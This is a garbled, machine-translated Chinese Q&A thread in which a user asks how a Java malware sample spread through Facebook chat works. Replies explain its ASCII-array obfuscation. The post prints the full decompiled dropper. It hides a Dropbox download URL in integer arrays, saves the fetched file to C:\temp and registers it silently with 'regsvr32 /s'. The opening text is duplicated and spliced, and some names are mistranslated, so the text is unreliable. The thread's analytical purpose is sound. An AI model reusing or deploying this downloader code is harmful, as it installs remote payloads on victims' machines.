Java 此不可检测恶意软件中的代码
我在facebook上两次收到这条消息,引用lol abc.rar,abc.rar文件有一个可执行的jar文件,单击该文件会尝试连接到facebook,并将相同的消息随机输入另一个聊天。我使用jd gui 0.36对其进行了反编译,在该恶意软件/病毒中发现了一个类czjffdqozxffyhrq,其中还有一个清单文件。我尝试了病毒总数,但未给出任何结果。这肯定是一个威胁,因为我的两个facebook朋友对我来说是个威胁,他们互不相关,所以传播速度非常快 病毒总结果: 现在是类的代码:-package com.cakesJava 此不可检测恶意软件中的代码,java,malware,virus,Java,Malware,Virus,我在facebook上两次收到这条消息,引用lol abc.rar,abc.rar文件有一个可执行的jar文件,单击该文件会尝试连接到facebook,并将相同的消息随机输入另一个聊天。我使用jd gui 0.36对其进行了反编译,在该恶意软件/病毒中发现了一个类czjffdqozxffyhrq,其中还有一个清单文件。我尝试了病毒总数,但未给出任何结果。这肯定是一个威胁,因为我的两个facebook朋友对我来说是个威胁,他们互不相关,所以传播速度非常快 病毒总结果: 现在是类的代码:-pack
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
public class czjffdqozxffyhrq
{
public static String mrdbdgwortilmglt()
{
int[] tdclrmdqriktvlkvmy = { 104, 116, 116, 112, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 110, 108, 100, 113, 99, 116, 110, 98, 118, 108, 101, 122, 52, 50, 98, 47, 109, 111, 100, 117, 108, 101, 46, 100, 97, 116, 63, 100, 108, 61, 49 };
StringBuilder cfmbxqxdanzahnu = new StringBuilder(tdclrmdqriktvlkvmy.length);
for (int i = 0; i < tdclrmdqriktvlkvmy.length; i++) {
cfmbxqxdanzahnu.append((char)tdclrmdqriktvlkvmy[i]);
}
return cfmbxqxdanzahnu.toString();
}
public static String olzezeaokmr()
{
int[] wwlytwss = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 113, 118, 115, 102, 99, 99, 106, 109, 46, 103, 116, 106 };
StringBuilder uurwhymtb = new StringBuilder(wwlytwss.length);
for (int i = 0; i < wwlytwss.length; i++) {
uurwhymtb.append((char)wwlytwss[i]);
}
return uurwhymtb.toString();
}
public static String wxujpwlzjfvvc()
{
int[] krihniioygdowfq = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92 };
StringBuilder dmpxcpok = new StringBuilder(krihniioygdowfq.length);
for (int i = 0; i < krihniioygdowfq.length; i++) {
dmpxcpok.append((char)krihniioygdowfq[i]);
}
return dmpxcpok.toString();
}
public static String uwqeeyesndtlyfye()
{
int[] wwlytwsspath = { 114, 101, 103, 115, 118, 114, 51, 50, 32, 47, 115, 32, 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 113, 118, 115, 102, 99, 99, 106, 109, 46, 103, 116, 106 };
StringBuilder eiljiba = new StringBuilder(wwlytwsspath.length);
for (int i = 0; i < wwlytwsspath.length; i++) {
eiljiba.append((char)wwlytwsspath[i]);
}
return eiljiba.toString();
}
public static void bnyikewbdrqhetgb()
throws IOException
{
int m = 1;
while (m < 7)
{
Runtime.getRuntime().exec(uwqeeyesndtlyfye());
m++;
}
}
public static void main(String[] args)
throws Exception
{
new File(wxujpwlzjfvvc()).mkdir();
File u = new File(olzezeaokmr());
if (u.exists())
{
bnyikewbdrqhetgb();
}
else
{
String pdisodea = mrdbdgwortilmglt();
String lwpztudm = olzezeaokmr();
lslmzhpvu(pdisodea, lwpztudm);
}
}
public static void lslmzhpvu(String rklnt, String nenyy)
throws IOException
{
URL hsnmxltpgt = new URL(rklnt);
InputStream mlzfltpyqeoqdahzvel = hsnmxltpgt.openStream();
OutputStream uxvkcl = new FileOutputStream(nenyy);
byte[] b = new byte[432101];
int length;
while ((length = mlzfltpyqeoqdahzvel.read(b)) != -1)
{
int length;
uxvkcl.write(b, 0, length);
}
mlzfltpyqeoqdahzvel.close();
uxvkcl.close();
bnyikewbdrqhetgb();
}
}
有人能解释一下这是如何工作的,为什么它仍然无法被检测到?这是一个相当简单的混淆尝试 方法: mrdbdgwortilmglt 奥尔泽奥克马尔 WXUJPWLZJVC uwqeeyesndtlyfye 只是隐藏为int数组的字符串 bnyikewbdrqhetgb显然很顽皮,因为它正在调用Runtime.getRuntime.exec。。。这应该始终是代码中的警告标志 lslmzhpvu正在访问URL。。。也很淘气 在这里,我所说的淘气,是指它的代码超出了自身,因此,可能会在其他地方造成伤害。在您下载的代码中,这应该是一个主要的警告标志,除非您知道代码应该使用URL或执行外部程序 为什么杀毒软件包不能捕获它? 它正在接住它。它检测未经授权的访问URL的尝试并警告您 有点脱臭
基本上,它从服务器下载一个文件
http://dl.dropboxusercontent.com/s/nldqctnbvlez42b/******.dat?dl=1
模糊链接,不希望任何人下载错误
…到c:\temp,并使用在系统中注册
regsvr32 /s <filename>
真正的邪恶可能在我不打算下载的下载文件中:你说的不可检测是什么意思?任何杀毒软件都检测不到。像这样的模糊代码让我的眼睛流血。将合理名称附加到变量和方法的代码很难按原样读取!您已经对此进行了哪些分析,以说明它的作用?为我们节省一些时间,并告诉我们您所知道的关于这是如何工作的一切。代码似乎通过Runtime.getRuntime.exec执行一些命令。。当我点击这个jar文件后,一个进程在这段时间内随机启动,而我在电脑上工作,并试图与facebook通信,这时我的防病毒软件停止了这个进程,但在abc.rar上运行完整的病毒扫描时,它什么也检测不到!!但是你是怎么找到的呢?数组中的每个int代表一个字符@swapedoc@swapedoctdclrmdqriktvlkvmy包含中字符的ascii代码http://dl.dropboxusercontent... wwlytwspath包含regsvr32命令的ascii代码。另外两个只是存储文件的路径。实际上没有什么混淆,它只是存储在ascii整数中。
regsvr32 /s <filename>